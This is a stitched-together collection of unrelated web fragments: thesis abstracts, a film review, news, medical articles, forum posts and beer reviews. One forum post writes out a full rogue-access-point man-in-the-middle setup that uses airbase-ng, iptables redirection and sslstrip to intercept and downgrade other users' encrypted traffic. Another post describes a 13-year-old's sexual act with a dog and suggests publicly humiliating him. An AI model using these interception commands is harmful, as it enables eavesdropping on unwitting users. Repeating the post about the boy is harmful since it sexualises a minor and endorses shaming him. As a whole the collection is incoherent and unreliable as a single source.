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Gamma Rays from Cs¹³³ by Inelastic Scattering of Neutrons
Date: August 1960
Creator: McDonald, Perry Frank
Description: The purpose of this investigation was to observe the excited states of the Cs¹³³ nucleus when neutrons are inelastically scattered from the nucleus.
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Gamma Rays from Neutron Excitation of Cs133
Date: January 1959
Creator: Lamb, Billy Leonard
Description: This thesis explores gamma rays from neutron excitation of Cs133.
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Gamma Rays Resulting from Neutron Scattering in Cesium
Date: January 1967
Creator: McAnally, Michael A.
Description: The purpose of this investigation was to attempt to resolve the energy levels of Cs133 that can be excited by inelastic scattering of 14 Mev neutrons.
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Growing carbon nanotubes by chemical vapor deposition technique.
Date: May 2000
Creator: Rajan, Harihar V.
Description: Carbon nanotubes were synthesized in the laboratory using chemical vapor deposition at different methane concentration. I found that a methane concentration of 4 sccm was ideal for well recognizable carbon nanotubes. A higher concentration led to fewer nanotube growth and silicon carbide structure. Coating the sample first with Fe(NO3)3 created a catalyst base on the substrate for the nanotube to adhere and grow on.
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Growth and Characterization of β-Iron Disilicide, β-Iron Silicon Germanide, and Osmium Silicides
Date: August 2009
Creator: Cottier, Ryan James
Description: The semiconducting silicides offer significant potential for use in optoelectronic devices. Full implementation of the materials, however, requires the ability to tailor the energy gap and band structure to permit the synthesis of heterojunctions. One promising approach is to alloy the silicides with Ge. As part of an investigation into the synthesis of semiconducting silicide heterostructures, a series of β-Fe(Si1−xGex)2 epilayer samples, with nominal alloy content in the range 0 < x < 0.15, have been prepared by molecular beam epitaxy on Si(100). I present results of the epitaxial and crystalline quality of the films, as determined by reflection high-energy electron diffraction, Rutherford backscattering spectroscopy, and double crystal x-ray diffraction, and of the band gap dependence on the alloy composition, as determined by Fourier transform infrared spectroscopy. A reduction in band gap was observed with increasing Ge content, in agreement with previous theoretical predictions. However Ge segregation was also observed in β-Fe(Si1−xGex)2 epilayers when x > 0.04. Osmium silicide films have been grown by molecular beam epitaxy on Si(100). The silicides have been grown using e-beam evaporation sources for both Os and Si onto Si(100) substrates at varying growth rates and temperatures ranging from 600-700ºC. The resulting films have been ...
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Gurevich Magnetomorphic Oscillations in Single Crystals of Aluminum at Helium Temperatures
Date: August 1967
Creator: Mollenkopf, Howard Charles
Description: The Sondheimer theory was tested by looking for oscillatory phenomena in a group of single crystals representing a range in dimensions from matchbox geometry to thin-film geometry. The single crystals were identical with respect to impurity content, strain, orientation, surface condition, and probe placement.
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High Efficiency High Power Blue Laser by Resonant Doubling in PPKTP
Date: August 2011
Creator: Danekar, Koustubh
Description: I developed a high power blue laser for use in scientific and technical applications (eg. precision spectroscopy, semiconductor inspection, flow cytometry, etc). It is linearly polarized, single longitudinal and single transverse mode, and a convenient fiber coupled continuous wave (cw) laser source. My technique employs external cavity frequency doubling and provides better power and beam quality than commercially available blue diode lasers. I use a fiber Bragg grating (FBG) stabilized infrared (IR) semiconductor laser source with a polarization maintaining (PM) fiber coupled output. Using a custom made optical and mechanical design this output is coupled with a mode matching efficiency of 96% into the doubling cavity. With this carefully designed and optimized cavity, measurements were carried out at various fundamental input powers. A net efficie ncy of 81 % with an output power of 680 mW at 486 nm was obtained using 840 mW of IR input. Also I report an 87.5 % net efficiency in coupling of blue light from servo locked cavity into a single mode PM fiber. Thus I have demonstrated a total fiber to fiber efficiency of 71% can be achieved in our approach using periodically poled potassium titanyl phosphate (PPKTP). To obtain these results, all ...
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Homogeneous Canonical Formalism and Relativistic Wave Equations
Date: January 1967
Creator: Jackson, Albert A.
Description: This thesis presents a development of classical canonical formalism and the usual transition schema to quantum dynamics. The question of transition from relativistic mechanics to relativistic quantum dynamics is answered by developing a homogeneous formalism which is relativistically invariant. Using this formalism the Klein-Gordon equation is derived as the relativistic analog of the Schroedinger equation. Using this formalism further, a method of generating other relativistic equations (with spin) is presented.
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The Interactions of Plasma with Low-k Dielectrics: Fundamental Damage and Protection Mechanisms
Date: August 2011
Creator: Behera, Swayambhu Prasad
Description: Nanoporous low-k dielectrics are used for integrated circuit interconnects to reduce the propagation delays, and cross talk noise between metal wires as an alternative material for SiO2. These materials, typically organosilicate glass (OSG) films, are exposed to oxygen plasmas during photoresist stripping and related processes which substantially damage the film by abstracting carbon, incorporating O and OH, eventually leading to significantly increased k values. Systematic studies have been performed to understand the oxygen plasma-induced damage mechanisms on different low-k OSG films of various porosity and pore interconnectedness. Fourier transform infrared spectroscopy, x-ray photoelectron spectroscopy and atomic force microscopy are used to understand the damage kinetics of O radicals, ultraviolet photons and charged species, and possible ways to control the carbon loss from the film. FTIR results demonstrate that O radical present in the plasma is primarily responsible for carbon abstraction and this is governed by diffusion mechanism involving interconnected film nanopores. The loss of carbon from the film can be controlled by closing the pore interconnections, He plasma pretreatment is an effective way to control the damage at longer exposure by closing the connections between the pores.
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An Investigation for Gamma Rays Resulting from the Bombardment of As75 with 14 Mev Neutrons
Date: 1957
Creator: Givens, Wyatt Wendell
Description: It is the purpose of this paper to set forth the method and results of studying the gamma rays resulting from the bombardment of As75 with approximately 14 Mev neutrons. The source of these neutrons was the H3(d,n)He4 reaction. The deuterons of 325 Kev energy were obtained from a Van de Graff electrostatic accelerator. A NaI scintillation spectrometer was used to determine the gamma-ray energies.
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Innovation and Economic Prosperity Designation
The Innovation and Economic Prosperity (IEP) Designation was created by the Association of Public and Land Grant Universities (APLU) to recognize universities that are leaders in spurring and promoting regional economic development.
The IEP application process is an extensive assessment of the university's efforts to connect to its community, and to help it play a major role in fostering economic recovery and growth through innovation and entrepreneurship. The designation goes to APLU member universities that demonstrate excellence and leadership in planning, implementing and evaluating programs and initiatives that foster economic engagement.
Economic engagement is defined as the exchange of knowledge and resources between institutions of higher education and their public and private stakeholders. Those activities can include transferring research discoveries into marketable products and services, sharing technical expertise and equipment with its community, and providing educational opportunities and workforce development.
The designation application process is an extensive one that included administering surveys to both Lubbock regional business and community leaders, and to Texas Tech faculty and administrators to gage the impact and perceptions of the university's economic development efforts. Current students also were surveyed on their interest in and involvement with entrepreneurship. Alumni were asked whether they believe Texas Tech prepared them for their careers.
While a number of universities will submit applications for the IEP designation, Texas Tech is competing only against itself. The designation, if awarded, will be based not only on the institution's current economic engagement activities, but also on its plans for growth and improvement in this area.

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A day in the life of a group of Native Americans who leave reservation life in the 1950s to live in a blighted Los Angeles district
David Lynch tackles Frank Herbert's sci-fi tale of spice, nobility and giant sandworms
Mammoth, unwieldy and completely ahead of its time, David Lynch's beautifully flawed attempt to bring Frank Herbert's sci-fi tome to the big screen is a world away from the space opera simplicities of George Lucas's Star Wars. Turning down directorial duties on Return Of The Jedi in favour of taking the reins of this whopping $45 million outing, Lynch walked into a cinematic disaster zone that damned his naive hopes of making an arthouse sci-fi blockbuster once and for all.
As the budget spiralled towards the $60 million mark (hardly small change in the early 1980s) and increasingly irate studio heads dabbled with the final edit, Lynch eventually took his name off the project, opting instead for an Alan Smithee credit on the longer network TV edit.
The 137-minute version of the film is dark, fitful dream of a movie. Grand, baroque and poetically brilliant, it entices and bores in equal measure. Delivering huge chunks of plot exposition amid startling sequences brimming with Lynch's trademark nightmare lyricism, it's the story of Paul Atreides (MacLachlan), a young member of the House of Atreides and his struggle against the machinations of the rival House of Hakonnen for control of the vital spice melange of planet Arrakis. (The spice is essential for interstellar travel.)
Delving through author Frank Herbert's dense web of family trees, noble birthrights and mythic rumours of a coming messiah, Lynch discovers a hallucinogenic sci-fi oddity that offers much scope for moments of ravishing visual power. While some of the science fiction elements have dated badly - this was after all the pre-digital era of rotoscoping and mechanical effects - the film's masterful production design is a triumph that has stood the test of time. It's no surprise to discover that production designer Anthony Masters learned his craft on 2001: A Space Odyssey, although the aesthetic here is completely different from Stanley Kubrick's sterile vision.
A grungy glimpse of a mythical future, Dune makes for a truly remarkable viewing experience. Full of Lynch's dark sexual perversity, it's a subversive epic in which characters wear fetishized rubber sand suits and tussle with thunderously phallic sandworms while the buff, barechested form of pop star Sting screams "I will kill you!"
It may be the Heaven's Gate of sci-fi filmmaking, but Dune is a monstrous beast that holds great rewards for anyone willing to tackle it's unwieldy form.
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Taize music is inspirational, and meditative.
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Look out for churches in the UK holding services that include Taize music.
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Taize is a place in France, where, years ago, visitors and pilgrims started to arrive to experience the atmosphere of Taize, and learn from Brother Roget, and his writings.
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Springtime: the time for flowers, newborn animals … and snow. Nearly half of the United States is currently covered in snow, including most of Canada, as can be seen in this image from the National Oceanic and Atmospheric Administration.
That's the largest extent of snow cover at this point in the season in at least 10 years, according to NOAA. Much of the snow came from a massive spring snowstorm that dropped snow throughout the Midwest and East Coast, breaking records in many cities.
The town of Lincoln, Ill., broke its daily snow total of 4 inches, which was set in 1947, with 10.8 inches of snow on Sunday, March 24. The weather system also dropped 2.9 inches of snow in Columbus, Ohio, breaking the old record of 1.8 inches set in 1965.
Currently, 44 of 50 states have some snow on the ground. The only states without any of the fluffy stuff are Alabama, Florida, Hawaii, Louisiana, Mississippi and Rhode Island.
So far in March, more than 1,741 daily snowfall records have been set or tied compared to only 616 at this time last year, according to the Capitol Weather Gang.
The image of U.S. snow cover was created from data gathered by NOAA's Interactive Multisensor Snow and Ice Mapping System, which uses satellites to measure snowfall based on the amount of light reflected from the Earth's surface (snow reflects more light than bare earth).
This image shows snow covering nearly half of the U.S. and most of Canada on March 26, 2013.
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Blue River Century is a new century plus ride out of Keystone colorado benefitting the Lance Armstrong Foundation.. This year was the first year for the ride on June 21st. it was a challenging ride, with lots of climbing to ute pass, vail pass, over swan mountain road, and your choice of finishes, including loveland pass which is shown here. the climbs are out and back forming a loop around dillon reservoir, the ride was extremely well run with well stocked aids stations, nice volunteers, full lunch and dinner and great give-a-ways. Don't miss this ride next year.
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I am having trouble with SSLStrip in a MITM Setup with Backtrack 5. I am using an external wireless card to broadcast the wireless signal, and routing through an Ethernet. I am successfully viewing the packets in Wireshark, however I would like to view SSL data using SSLStrip. These are the preliminary commands I use to set up MITM.
airmon-ng start wlan1
airbase-ng --essid mitm 11 mon0
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brctl addbr mitm-bridge
brctl addif mitm-bridge eth0
brctl addif mitm-bridge at0
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
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echo 1 > /proc/sys/net/ipv4/ip_forward
At this point, I can view packet data in WireShark. I follow these steps to set up SSLStrip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 666
cd /pentest/web/sslstrip
sslstrip -l 8080
When I am finished with the session and I open sslstrip.log I do not see any data written to the file. Also, I am unable to access the internet once I do the iptables redirect. Please let me know what you think the problem might be.


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Chuck Moll, 60, Morganfield, KY died Thursday 12/5/13 at work. He worked for Country Mark, Henderson Terminal. He enjoyed hunting.
He was preceded in death by his parents Eddie & Pat Moll.
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Visitation will be 4-8 PM Wednesday 12/11/13 at Whitsell Funeral Home in Morganfield.
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Health & Parenting
Very Small Babies, Very Big Dilemmas
Aug. 9, 2000 -- In 1963, President John F. Kennedy and his family mourned the untimely passing of their infant son, Patrick. Born nearly six weeks premature, he survived only two days before succumbing to a respiratory infection. If a baby is born today under the same circumstances, he or she has an excellent chance for a normal life. Modern medicine has made breathtaking advances in the survival of premature infants, and many born prematurely have improved chances of surviving and growing up to be normal, healthy children.
However, the picture is much more dismal when it comes to infants born at between 20 and 25 weeks of gestation. These are among babies considered extremely premature. A full-term pregnancy is 38 to 42 weeks of gestation; this is based on the 40 weeks between a woman's last menstrual period and her due date.
These extremely preterm babies are so early that they are often born with their eyes fused shut, their skin almost transparent, and their weight under 1.5 pounds. Most are so frail that they have difficulty just surviving labor and delivery. Often, their arms can fit through their father's wedding band.
More than three-quarters of these extremely premature babies will be stillborn or die before they ever get to the neonatal intensive care unit, and an additional 12% die before being discharged from the hospital. Of the 8% who survive long enough to leave the hospital, up to 1% will die before the age of two and a half. The small number who survive face a high risk of having some type of disability.
In a new study appearing in the current issue of The New England Journal of Medicine, nearly half of such extremely premature babies ended up with a disability. Of this group, half had a disability that was considered severe. However, the other half of those surviving to two and a half years of age had no disability.
Some of the disabilities the researchers found included:
- Problems with neuromotor skills, such as the ability to walk
- Cerebral palsy, a serious condition that affects multiple parts of the nervous system and the ability to move and speak
- Problems communicating; several were unable to speak at all
- Blindness
- Hearing loss
"The take-home message from this study," says Michael Speer, MD, "is that if you're going to have a baby at 24 or 25 weeks' gestation, the risks of a significant handicap are definitely there." Speer, who was not involved in the study, is a professor of pediatrics at Baylor College of Medicine in Houston.
Led by Nicholas S. Wood, MB, ChB, of the University of Nottingham in England, the research team examined the records of all babies born between 20 and 25 completed weeks of gestation in the U.K. and Ireland during a nine-month period in 1995. Of those who survived, about 280 met the criteria for the study, and the children were assessed to see how well they were developing. This was done when the children were at a corrected age of two and a half years. The corrected age is the age the child would be if delivered on his or her due date.


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"We always thought in terms of stick built," says homeowner Eileen Raulli. "But time is of the essence."
The Newark Star-Ledger reports that Raulli's new house, built on 5-foot pilings to rise above the flood that destroyed their previous dwelling, went together in a day ("New Jersey Shore: Modular construction helping to rebuild homes destroyed by Sandy," by Kimberley L. Jackson).
"The construction crew arrived on the Marcellus Avenue building site in Manasquan at 8 a.m. May 18," the paper reports. "By 2 p.m. that same day, a new three-story house was standing. The kitchen and bathroom cabinets were in place, each sink had its faucet, all the interior trim was finished."
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Should I discipline my child for this?
I have a very uncomfortable story and I really don't know how to handle this at all. Basically, I was out shopping the other day and when I came back I found my 13 year old son had wiped peanut butter all over his balls and anus then he let the dog go wild on him. Besides from the emberessment it was a complete mess. There was peanut butter all over the place. I was overcome by anger more than anything else. Sure I had just picked up another jar of PB, but I didn't know it was being used for that purpose.
I don't believe in physical punishment, but I know this is not normal behavior and I was thinking I should tell his freinds about it or make him wear a t shirt that says, "I let my dog eat peanut butter off my butt"? Does anyone else have a good suggestion for punishment?


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Anyone Else Love "Whom Gods Destroy"?
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Ihnat was a marvelous actor. If you get a chance, find an episode of the original "Outer Limits," entitled
The Inheritors
. Ihnat at his low-key, underplayed best.
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I can hardly say how much I love this episode. The last time I saw it I cried. Even though the major setpiece at the end is pretty clunky. (I won't give away what it is here. But get this two-part episode on DVD and be prepared to be blown away.)
Thanks for reminding me to rewatch this episode. I don't think I had ever seen it until I got the DVD set, and not again since then. Last night, I watched Part 1 again, and loved it even more. I'll watch Part 2 when I have a chance.
Is it time again for me to request a blu-ray set of The Outer Limits?
I watched Part 2 again last night. It's amazing how its theme is so similar to Roddenberry's vision of the future. Ihnat even has a line about (paraphrasing) "...no more war, no more poverty, no more disease..." etc.
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PM speaks in budget debate today
PRIME Minister Portia Simpson Miller will make her contribution to the 2014/15 Budget Debate when the House of Representatives resumes sitting this afternoon.
Simpson Miller is expected to respond to last Thursday's presentation by Opposition Leader Andrew Holness, but it would not be surprising if she spends most of her time trying to defend the $6.7-billion tax package her Government revealed on April 17, as well as responding to the claims by the Opposition that her Government has failed to fulfil its promise to "balance people's lives".
In his presentation last week, Opposition spokesman on finance and planning Audley Shaw noted that the Economic & Social Survey 2013 showed that the household poverty rate increased by two percentage points, moving from 12.4 per cent in 2010 to 14.4 per cent in 2012.
Shaw also pointed out that Jamaica had slipped seven places on the UNDP's Human Development Index, from 79 to 86, which he said was evidence of "worsening poverty", while suggesting that poverty has increased further in 2013.
"You can feel the poverty," Shaw claimed. "You can see it as you travel the length and breadth of Jamaica. It is palpable."
Shaw quoted a social scientist as claiming that 1.1 million Jamaicans are currently below the poverty line, while there has been no publication of the Jamaica Survey of Living Conditions for over three years.
These are definitely issues the prime minister will have to address to assure her position as a leader with the less fortunate as her priority.
Last year, in her budget presentation, Simpson Miller told the nation that her Government was committed to transformation in action, as "lies at the heart of the notion of balancing the books, while balancing people's lives".
In that presentation, Simpson Miller called for "a new political order", suggesting that "we campaign at election time, and we campaign vigorously, for that is the nature of politics. However, when the campaign is over, we must all focus on nation-building".
However, things have changed dramatically since then, with Holness stating in his presentation last week that the proposed financial transaction tax marks a point of departure in their post-2011 general election political cooperation, and strengthened by his threat of "withdraw the (financial transaction) tax, or else".
Simpson Miller is expected to leave the island within 24 hours of her presentation to lead Jamaica's delegation to the Sixth Summit of Heads of State and Government of the Association of Caribbean State in Merida City, Yucatan, Mexico on April 30.
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INDIANAPOLIS — No. 8 Michigan ended one championship drought by winning its first outright Big Ten crown last week.
Now the Wolverines will get a chance to end another title drought in the conference tournament, which has been filled with some of the school's most forgettable basketball moments — from Evan Turner's 40-foot buzzer-beater for Ohio State to the embarrassment of having the 1998 title stripped away because of NCAA sanctions.
Maybe this time, Michigan can put those images behind it for good.
"You've just got to go and get through those first games and really play well," coach John Beilein said before leaving for Indianapolis. "You've got to find ways to get lucky and got to find times to play hard and if you can, you'll be sitting there in the championship game."
The Wolverines (23-7) are the favorite.
They have the conference's player of the year, Nik Stauskas, and the media's choice for coach of the year in Beilein. They have a five-game winning streak and 15 wins in conference play. They have multiple NBA prospects and for the first time in school history, the defending national runner-ups are seeded No. 1.
But Beilein also is well aware of what can go wrong in the postseason.
He led the Wolverines to semifinal appearances in 2011 and 2012, but they haven't played for a title since or won more than one game in a single tourney since that '98 championship run, which was later expunged.
Michigan's march toward redemption begins Friday against either eighth-seeded Indiana (17-14) or ninth-seeded Illinois (18-13, who play at 11 a.m. today.
No. 24 Ohio State (23-8), the five seed, plays 12th-seeded Purdue (15-16) in today's other afternoon game. Seventh-seeded Minnesota faces 10th-seeded Penn State, while sixth-seeded Iowa and 11th-seeded Northwestern meet in tonight's games.


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Children's Vaccines Health Center
Understanding Meningitis -- Symptoms
While meningitis is rare, it's a serious and potentially life-threatening disease. So it's a good idea to know typical meningitis symptoms. The most common are:
- Stiff neck, sometimes so stiff that it's difficult to touch the chin to the chest
- Headache, sometimes severe
- High fever
- Nausea or vomiting
- Confusion
- Discomfort from bright lights
- Sleepiness
- Seizures
- Rash
Sometimes, these symptoms follow a flu-like illness, ear infection, or sinus infection.
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If your child is too young to talk, you may have a hard time detecting some of these symptoms. So in infants and young children, the only evident meningitis symptoms might be:
- Fever
- Lethargy
- Irritability
- Difficulty feeding
- High-pitched cry
- Pale or blotchy skin
- Crying when held
- Arching back
The speed with which meningitis symptoms develop varies. Bacterial meningitis symptoms come on quickly, usually over a period of hours. With viral meningitis, symptoms might develop over several days.
When to See a Doctor
Of course, what's disturbing about the above list of meningitis symptoms, especially for a parent, is that most are incredibly common.
So here's one important thing to keep in mind. Beyond any of the specific meningitis symptoms, children or adults with bacterial meningitis -- the most serious type -- usually become very ill very quickly.
Even though the odds of getting meningitis are very small, you should still err on the side of caution. If you or a family member have been exposed to meningitis or have worrisome meningitis symptoms, give your health care provider a call. If the meningitis symptoms seem severe, go to the emergency room right away. Getting prompt treatment for meningitis can make all the difference.
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... were high though. We would really have liked a coffee and something to eat but at �6 a cup for coffee we settled for a bottle of water and some crisps.
The Capital Airlines flight for Jinghong, an Airbus A319, took off on time at 12.45. It was full but we appeared to be the only non-Asians. The mountain scenery became greener as we headed south towards the tropical lowlands. For much of the journey we followed the Mekong River. Just an hour after take off ...
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(TORONTO) -- For decades, it's been drummed into Americans' heads that carrying around too much weight is bad for one's health. Now, the opposite seems to hold true as well and is perhaps even more dangerous.
According to researchers at St. Michael's Hospital in Toronto, people who are considered excessively thin are nearly twice more likely to die prematurely than those who are of normal weight.
The finding was based on analyses of 50 studies of the clinically underweight who have a body mass index (BMI) of under 18.5.
Meanwhile, people who fall into the category of obese with a BMI of between 30 and 34.9 are only 1.3 times at greater risk of dying than those in the normal BMI range of 18.5 and 25.9.
Lead author Dr. Joel Ray says, "We have an obligation to ensure that we avoid creating an epidemic of underweight adults and fetuses who are otherwise at the correct weight."
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Elinor Barker: 'I'm representing a new generation of clean riders"
Welsh cyclist Elinor Barker has told ITV that she sees herself at the forefront of a new generation of clean cyclists.
The eighteen-year-old, from Cardiff, recently won a gold medal at the World Track Championships.
She says has never been under pressure to take performance-enhancing drugs.
You can see the full interview with Elinor - and the chair of Sport Wales, Laura McAllister - on our sports chat show 'In Touch' at 11.15pm.


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It's the legendary Nasir Jones, at the Winter X Games 2012 in Aspen rocking that Camo Moncler Tibet Vest to stay warm. That vest is mean!!!! and it kills all the other Moncler vests out there!!
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this vest was posted on hypebeast.com so its official. i cant find tibet vests on moncler.com too. but they sell Tib vests if ur interested in those.
I would like to purchase this vest…I found them on the internet, but for like a real cheap price, so I can expect that these are fakes ?
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Ukraine 'edging closer to civil war'
Ukraine is edging ever closer to civil war tonight after its government launched a major offensive against rebel forces holding a town in the east of the country.
The battle has reportedly left many separatist fighters dead.
It centres around Sloviansk, where pro-Russian rebels earlier shot down two helicopters.
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Santa Barbara Island Closed Due to Storm Damage
Santa Barbara Island is currently closed to public access due to damage from the high surf associated with Hurricane Marie. More »
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In the interest of public safety, the U.S. Navy is closing San Miguel Island until further notice due to recent concerns of possible unexploded ordnance. More »
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Once visitors have scaled the rugged cliffs using the steep trail from the landing cove, they will find a just over 5 miles of trails that meander over gentle slopes and low mountain tops to dramatic overlooks and magnificent coastal views.
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A: Cloudy deep chocolate brown. The beer came with a small cream head that fell fairly quickly to a ring at the beer's edge. Leaves small bits of lace.
S: The menu says there's molasses and honey in this beer and they really come through in the nose. Underneath them are aromas of baking chocolate and just a hint of banana. As the beer warms, a touch of clove creeps through.
T: The aromas transfer nicely int the flavor. Once again, the honey and molasses dominate. The hefeweizen yeast they seem to have used adds a bit of over ripe banana to the mix. Bitterness is light and brings a hint of lemon. The beer turns a bit acidic in the finish
M: The medium body is somewhat syrupy and has a little less carbonation than I expect from this style.
D: This is an interesting offering that I'm glad I picked up. Just about right on a cool late summer day in the mountains.
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5 Reasons Why Detroit Tigers Shouldn't Call Nick Castellanos Up
5 Reasons Why Detroit Tigers Shouldn't Call Nick Castellanos Up
Detroit Tigers' fans have been clamoring for Nick Castellanos to make his major league debut all season. Some of it had to do with the fact that some of the current Tigers were struggling offensively, but it mostly stemmed from the fact that he has been hyped up as the team's top prospect for a while now.
A lot of it has to do with the unknown. Fans assume that because he has been touted as one of the Tigers' future corner outfielders that he will automatically be successful. It also might have something to do with the fact that he's had impressive stretches with the Toledo Mud Hens.
The bottom line is that the Tigers would be foolish to take at-bats away from current Tigers' players who have been with the team all year to give them to a 21-year-old who hasn't exactly hit the cover off the ball one level beneath MLB.
The Tigers made a statement to Castellanos by keeping him around at the trade deadline. They could have gotten essentially whoever they wanted at the trade deadline if they had thrown him into a package but decided against it. The Tigers would be better off if they were to ride out the seasons that their current players are having rather than to experiment with a guy who has yet to see major league pitching. It is far too late to learn what major league pitcher's pitches look like now to have an impact this year.
There's no need to rush him. If they were to call him up, the only beneficial reason for it would be to let him experience the atmosphere of really important games, but he can do that from the bench for this year.
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5. Andy Dirks Has Been Picking Up Slack Lately
Andy Dirks hasn't had the greatest season at the plate, but he is finally starting to come around offensively. He also has one thing Castellanos won't have heading into the end of the season: Playoff experience.
4. He's not Avisail Garcia
Just because Avisail Garcia was able to have an impact for the Tigers at the end of 2012 doesn't mean Castellanos will. He's not as good defensively and fans shouldn't think Castellanos would be able to replicate Garcia's success.
3. Don't Want to Stunt His Growth
Castellanos has had really good stretches this season with triple-A Toledo, but has also struggled through a couple hard times. It would be best if the Tigers told him ahead of time that he wasn't going to get a shot until next year. They traded Garcia away because they believe in his future, and there's no need to rush him.
2. Tigers Already Have Right-Handed Power Hitter in LF
Matt Tuiasosopo has been everything the Tigers hoped he would when they signed him in the offseason. It doesn't make a lot of sense to usurp a current Tiger for one who has never seen a major league at-bat. They are similar players, and the only real difference is that one has been with the big club all year.
1. He's Simply Not Ready
Castellanos is hitting .277 in triple-A and couldn't be expected to hit at an even higher rate than he is now. He also has just 15 home runs, so it's not like he would give the Tigers a jolt of power they don't already have. In addition, his inexperience in the outfield would be a scary proposition when the Tigers need players to be comfortable defensively.


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2.08/5 rDev -38.5%
This hazy pale straw beer has no head or nose. The taste has herbal hops up front with a sweet bready malt base and a super dry finish. There is a bitter, skunky aftertaste. I suppose its diffferent enough to warrant a taste but I don't really recomend it, nor do I feel that it can be too representative of an antiquated brewing style as the marketing implies. Really it is just kind of a funky tasting macro. Bitterness, aftertaste, and syrupy mouthfeel inhibit drinkability.
04-04-2006 06:56:50 | More by JudgeRoughneck
2.35/5 rDev -30.5%
Very nice full golden color. Head dissipates quite quickly.
Nose is very malty sweet, with a good dose of creamed corn. Little hop present at all.
Palate is very grainy. Lots of malt and definitely a detectable element of corn. Quite sweet initially, although not as sweet as it smells, but balances out somewhat by the finish. This tastes like it did not ferment out fully, and someone forgot at least one of the hop additions!
Certainly accomplishes the ramped-up malt and corn profile of a pre-prohibition American lager, but this was definitely out of balance. Hopefully, just batch variation (based on reading other BA reviews) and not a permanent change to the recipe, but this was not a good beer, and certainly not up to the standard of other Capital offerings I've had. I tasted a second bottle from the same six pack, and it tasted the same. Purchased in Wisconsin, only about 60 miles from the brewery.
11-19-2002 12:09:20 | More by Realale
2.48/5 rDev -26.6%
Pretty ordinary Pils. Part of a Capital sampler pack so I am trying to work my way up the chain. Shouldn't be too hard to beat this one. Slight hops aroma, mildly smooth refreshing flavor but pretty bland overall.
10-18-2002 08:13:57 | More by Dogbrick
2.6/5 rDev -23.1%
Poured a dark golden color with a white head. Aroma consisted of corn, malt, hops and an increasing "bready" aroma as the beer warmed. Light bodied and creamy mouthfeel. Pleasant crispness with a mildly hoppy finish. This was okay, but something I'd probably not pursue again.
01-07-2003 21:34:02 | More by Winter
2.85/5 rDev -15.7%
Pretty lackluster brew considering who it comes from. Deep golden color with nice bubbly head.
Slight malt aromas. Some malt taste, but relatively nondescript, it needs more hops too. Pretty thin mouthfeel as well. Not offensive, but certainly not remarkable.
Had this out on the golf course today. Best thing they offered on the beverage cart. It was passable, but the way my game was going, I needed several big barleywines.
Drink this on a hot day, just to quench your thirst, otherwise, don't bother seeking this one.
04-10-2002 18:01:24 | More by cokes
2.95/5 rDev -12.7%
I start with a question - why did so many breweries think it was a good idea to do a pre-prohibition beer? We're at the high point of american brewing, why go back?
This beer pours with a light golden color, slight haze. Medium rocky head. The nose is a bit metalic, like a can of Genny. The flavor is light, more than a modern day macro, but not particularly complex. It is clean, no real flaws.
I again conlcude that if this is what beer was in pre-pro days, I'm thankful for what we have in the 21st century. I have no real problem with the beer - just the style.
12-12-2004 04:04:33 | More by sweethome
2.95/5 rDev -12.7%
12oz bottle.
Poured a medium and lightly cloudy golden color with a very small sized white head. Aromas of floralness with some carmel and citrus.. Tastes of grain, floral with a very light grassy finish. Aromas and tastes on the lighter side. Thin and watery body.
Notes from: 11/21/05
01-13-2009 15:34:53 | More by hopdog
3/5 rDev -11.2%
Threes across the board on this one. Just average. It poured a clear golden with a thin head that dissipates quickly. The aroma was highly bitter and hoppy. This carried through into the flavor, which as it warmed, became more astringent. There are much better pils available.
07-25-2002 09:28:13 | More by ryanocerus
3.05/5 rDev -9.8%
12oz brown bottle
Capital 1900 was a slightly hazy golden color. It had a small off-white head that quickly dissipated to a thin ring. The aroma lightly malty. The taste was mainly malty and a bit sweet, but dries out some in the finish. It was medium bodied with medium to light carbonation. It was a pretty average beer, drinkable, but there are alot of better choices out there. I will not puchase again.
08-27-2006 21:49:00 | More by afinepilsner
3.1/5 rDev -8.3%
12oz screw top bottle, served at home after a long trip from Wisconsin in carry-on luggage.
Color is pale straw, with some orange hints. Head is large bubbles and collapses fast. Aroma is grainy corn. Low bitterness, some grainy character in the flavor. Might be some low sourness, but that is debatable.
Around the tasting table, the comment that came up most is "this is just regular beer." Nothing wrong, but likewise nothing there to make this a beer to seek out either.
07-31-2005 03:59:05 | More by bubrewer
3.1/5 rDev -8.3%
My brother-in-law gave me a bottle of this during his visit from Wisconsin.
Appearence: A very light yellow, pale beer. Some head attached but nothing special
Smell: Some malt and a little hoppy smell.
Taste: Malty and refreshing. Pleasent taste. No after taste.
Mouthfeel: A little thin for my taste but on a hot Summer day it could hit the spot.
Drinkability: Not my choice to spend money on but like I said, on a hot Summer day I could do a few of these if my brother-in-law was buying. Better than Bud.
02-19-2006 21:00:36 | More by Koolbreeze2
3.13/5 rDev -7.4%
Pours a light golden color...little white lace that rims the glass...nose is subtle floral hops and sweet, almost corny maltiness...Body is about right for this style...carbonation is medium...flavor features pretty basic lager characteristics but also some breadiness...seems more of a helles lager though....finishes a little dry...Don't really like the aftertaste/finish...a bit of an odd flavor....
Overall this is OK...their Bavarian Lager is considerably better....This is better than a lot of Macros but not by a huge margin....worth trying....I won't purchase again...
09-16-2003 04:06:03 | More by ZAP
3.15/5 rDev -6.8%
When poured into my glass, the head was small in size with a white hue and it consisted of fine-small bubbles that quickly dissipated. The body was carbonated and hazy with a yellow-gold hue. The nose was malty, sweet, and fruity. The flavor was sweet and fruity tasting wtih a smooth, thin, watery texture and it was light bodied. Not a beer that I particulary cared for by this brewer.
11-01-2003 22:17:12 | More by hotstuff
3.15/5 rDev -6.8%
Light gold color. Pleasant aroma that is primarily light malt. Product is advertised as being made with Alabama white corn grits. Fairly smooth light malt flavor with a mild dry finish. I believe this is an attempt to make a preprohibition style lager.
10-26-2001 21:08:54 | More by garymuchow
3.15/5 rDev -6.8%
Slightly hazed medium amber, a little darker than one usually sees in this style. The head is a shade darker than pure white, is small and falls to a barely covering film, leaving almost no lace. The aroma is unimpressive, but not unappealing. Pale malt with a prominent fresh graininess; a cut or two above a macro lager.
The flavor is just okay. It's sweet and modestly malty with a balancing hop bitterness, though without much in the way of actual hop flavor. The graininess is as evident as it was in the nose, but is tolerable. An early sweetness gives way to a dry, medium length finish. The body is acceptable for a lager and is more full than some.
Capitol 1900 is a drinkable beer, no more than that. Its good points are negated by its bad points and I'm left without strong feelings in either direction. I'd drink another if it was offered, but I won't be buying it again.
04-13-2004 22:39:26 | More by BuckeyeNation
3.18/5 rDev -5.9%
12oz. bottle courtesy of AKSmokedPorter.
